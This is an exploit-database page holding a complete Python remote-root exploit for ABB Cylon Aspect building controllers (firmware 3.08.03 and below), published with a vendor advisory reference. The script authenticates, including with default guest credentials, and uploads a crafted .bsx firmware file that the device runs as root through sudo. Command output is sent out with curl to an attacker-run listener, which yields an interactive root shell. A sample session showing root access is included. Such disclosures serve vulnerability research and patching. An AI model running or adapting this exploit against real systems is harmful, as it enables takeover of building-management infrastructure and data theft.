ABB Cylon Aspect 3.08.03 – Guest2Root Privilege Escalation

Exploit Details

Basic Information

Exploit Title ABB Cylon Aspect 3.08.03 – Guest2Root Privilege Escalation
Exploit ID EDB-ID:52305
Type exploitdb
Published 2025-05-25T00:00:00
Modified 2025-05-25T00:00:00

CVSS Information

CVSS Score 0.0
Severity NONE
Vector NONE

CVE Information

Exploit Description

!/usr/bin/env python Exploit Title: ABB Cylon Aspect 3.08.03 – Guest2Root Privilege Escalation …

Exploit Code

#!/usr/bin/env python

#

#

# Exploit Title: ABB Cylon Aspect 3.08.03 – Guest2Root Privilege Escalation

#

#

# Vendor: ABB Ltd.

# Product web page: https://www.global.abb

# Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio

# Firmware: <=3.08.03
#

# Summary: ASPECT is an award-winning scalable building energy management

# and control solution designed to allow users seamless access to their

# building data through standard building protocols including smart devices.

#

# Desc: The ABB BMS/BAS controller is vulnerable to code execution and sudo

# misconfiguration flaws. An authenticated remote code execution vulnerability

# in the firmware update mechanism allows an attacker with valid credentials to

# escalate privileges and execute commands as root. The process involves uploading

# a crafted .bsx file through projectUpdateBSXFileProcess.php, which is then moved

# to htmlroot and executed by projectUpdateBSXExecute.php. This script leverages

# sudo to run the uploaded bsx file, enabling the attacker to bypass input validation

# checks and execute arbitrary code, leading to full system compromise and unauthorized

# root access.

#

# ———————————————————————————

#

# $ ./bsxroot.py 192.168.73.31 192.168.73.9 –creds guest:guest

# [o] Exploit starting at 21.05.2025 12:33:47

# [o] Using credentials: guest:*****

# [o] Auth successfull.

# [o] PHPSESSID: g02p9tnog4d2r1z4eha1e9e688

# [o] Listening on 192.168.73.9:5555…

# [o] Building name: [“Tower 3”]

# [o] runtime.ver=v3.08.03

# [+] -> [virtual] rootshell

#

# # id

# uid=0(root) gid=0(root) groups=0(root)

# # pwd

# /home/MIX_CMIX/htmlroot

# exit

# [o] Removing callback file.

# [!] Connection terminated.

#

# ———————————————————————————

#

#

# Tested on: GNU/Linux 3.15.10 (armv7l)

# GNU/Linux 3.10.0 (x86_64)

# GNU/Linux 2.6.32 (x86_64)

# Intel(R) Atom(TM) Processor E3930 @ 1.30GHz

# Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz

# PHP/7.3.11

# PHP/5.6.30

# PHP/5.4.16

# PHP/4.4.8

# PHP/5.3.3

# AspectFT Automation Application Server

# lighttpd/1.4.32

# lighttpd/1.4.18

# Apache/2.2.15 (CentOS)

# OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)

# OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)

#

#

# Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic

# @zeroscience

#

#

# Advisory ID: ZSL-2025-5947

# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5947.php

#

#

# 21.04.2024

#

#

from colorama import init, Fore

from urllib.parse import quote

from time import sleep

import threading

import datetime

import requests

import socket

import re

import os

import sys

init()

def safe(*trigger, ):

return True

def auth(target_ip, user, pwd):

login_ep = f”http://{target_ip}/validate/login.php”

payload = {

‘f_user’ : user, # ‘aamuser, guest’

‘f_pass’ : pwd, # ‘default, guest’

‘submit’ : ‘Login’

}

sess = requests.Session()

r = sess.post(login_ep, data=payload)

if r.status_code == 200 and ‘PHPSESSID’ in sess.cookies:

print(“[o] Auth successfull.”)

phpsessid = sess.cookies.get(‘PHPSESSID’)

print(“[o] PHPSESSID:”, phpsessid)

return sess.cookies

else:

print(“[!] Auth failed.”)

return None

def kacuj(target_ip, listen_ip, cmd, token=None, cookies=None):

agentwho = “NetRanger/84.19”

payload = f”curl -A \”`{cmd}`\” {listen_ip}:5555″

url = f”http://{target_ip}/projectUpdateBSXFileProcess.php”

headers = {

“Content-Type”: “multipart/form-data; boundary=—-zeroscience”,

“User-Agent”: agentwho

}

data = (

“——zeroscience\r\n”

f”Content-Disposition: form-data; name=\”userfile\”; filename={AAM}\r\n”

“Content-Type: application/octet-stream\r\n\r\n”

f”{payload}\r\n”

‘——zeroscience–\r\n’

)

try:

r = requests.post(url, headers=headers, data=data, cookies=cookies)

if r.status_code == 200:

url_execute = f”http://{target_ip}/projectUpdateBSXExecute.php?file={AAM}”

r = requests.get(url_execute, cookies=cookies)

return r.content

except requests.exceptions.RequestException as e:

print(f”[!] Error sending payload: {e}”)

return None

def koj_slusha(listen_ip):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

s.bind((“0.0.0.0”, 5555))

s.listen(1)

print(f”[o] Listening on {listen_ip}:5555…”)

while True:

conn, addr = s.accept()

try:

data = conn.recv(9999)

if not data:

print(“[!] Connection closed by remote host.”)

break

dd = data.decode(“utf-8″, errors=”ignore”)

uam = re.search(r”User-Agent:\s*(.*)\s*Host:”, dd, re.DOTALL)

if uam:

print(uam.group(1), end=””)

else:

print

#print(f”[o] Full response:\n{dd}”)

except Exception as e:

print(f”[!] Error while receiving data: {e}”)

finally:

conn.close()

def main():

if safe(True):

print(“\nSafety: \033[92mON\033[0m”)

exit(-17)

else:

next

global AAM

global start

AAM = “firmware.bsx”

start = datetime.datetime.now()

start = start.strftime(“%d.%m.%Y %H:%M:%S”)

title = “\033[96mABB Cylon® ASPECT® Supervisory Building Control v3.08.03\033[0m”

subtl = “\033[95m\t\t-> Remote Root Exploit <-\033[0m"
prj = f”””

P R O J E C T\033[90m

.|

| |

|’| ._____

___ | | |. |’ .—“|

_ .-‘ ‘-. | | .–‘| || | _| |

.-‘| _.| | || ‘-__ | | | || |

|’ | |. | || | | | | || |

____| ‘-‘ ‘ “” ‘-‘ ‘-.’ ‘` |____

░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░

░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░

░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░

░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░

░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░

\033[0m

{title}

{subtl}

“””

if len(sys.argv) < 4:
print(prj)

print(“./bsxroot.py “)

sys.exit(-0)

target_ip = sys.argv[1]

listen_ip = sys.argv[2]

auth_arg = sys.argv[3]

print(“[o] Exploit starting at”, start)

if “–creds” in sys.argv:

creds_index = sys.argv.index(“–creds”) + 1

if creds_index >= len(sys.argv):

print(“[!] Error: Missing credentials after –creds.”)

sys.exit(-1)

user_pass = sys.argv[creds_index]

if “:” not in user_pass:

print(“[!] Error: Invalid credentials format. Expected format: user:pass.”)

sys.exit(-2)

user, pwd = user_pass.split(“:”)

print(f”[o] Using credentials: {user}:{‘*’ * len(pwd)}”)

cookies = auth(target_ip, user, pwd)

else:

token = auth_arg

cookies = {“PHPSESSID”: token}

if not cookies:

sys.exit(-3)

nishka = threading.Thread(target=koj_slusha, args=(listen_ip,))

nishka.daemon = True

nishka.start()

bacname = f”http://{target_ip}/getApplicationNamesJS.php”

r = requests.get(bacname)

if r.status_code == 200:

try:

r = r.content

decor = r.decode(“utf-8”)

except UnicodeDecodeError:

decor = r.decode(“utf-8″, errors=”ignore”)

odg = re.search(r”var instanceDirectory=(.*?);”, decor)

if odg:

cmd = “echo -ne \”[o] \” ; cat runtime/release.properties | grep -w ‘runtime.ver'”

print(“[o] Building name:”, odg.group(1))

kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies)

print(“\033[92m[+] -> [virtual] rootshell\033[0m\n”)

else:

print(“[o] Unknown building name.”)

sleep(0.01)

while True:

sleep(0.01)

cmd = input(“# “)

if cmd.lower() in [“exit”, “quit”]:

print(“[o] Removing callback file.”)

kacuj(target_ip, listen_ip, “rm /tmp/” + AAM, token=None, cookies=cookies)

print(“\033[91m[!] Connection terminated.\033[0m”)

os._exit(-17)

kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies)

nishka.join()

if __name__ == “__main__”:

main()

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.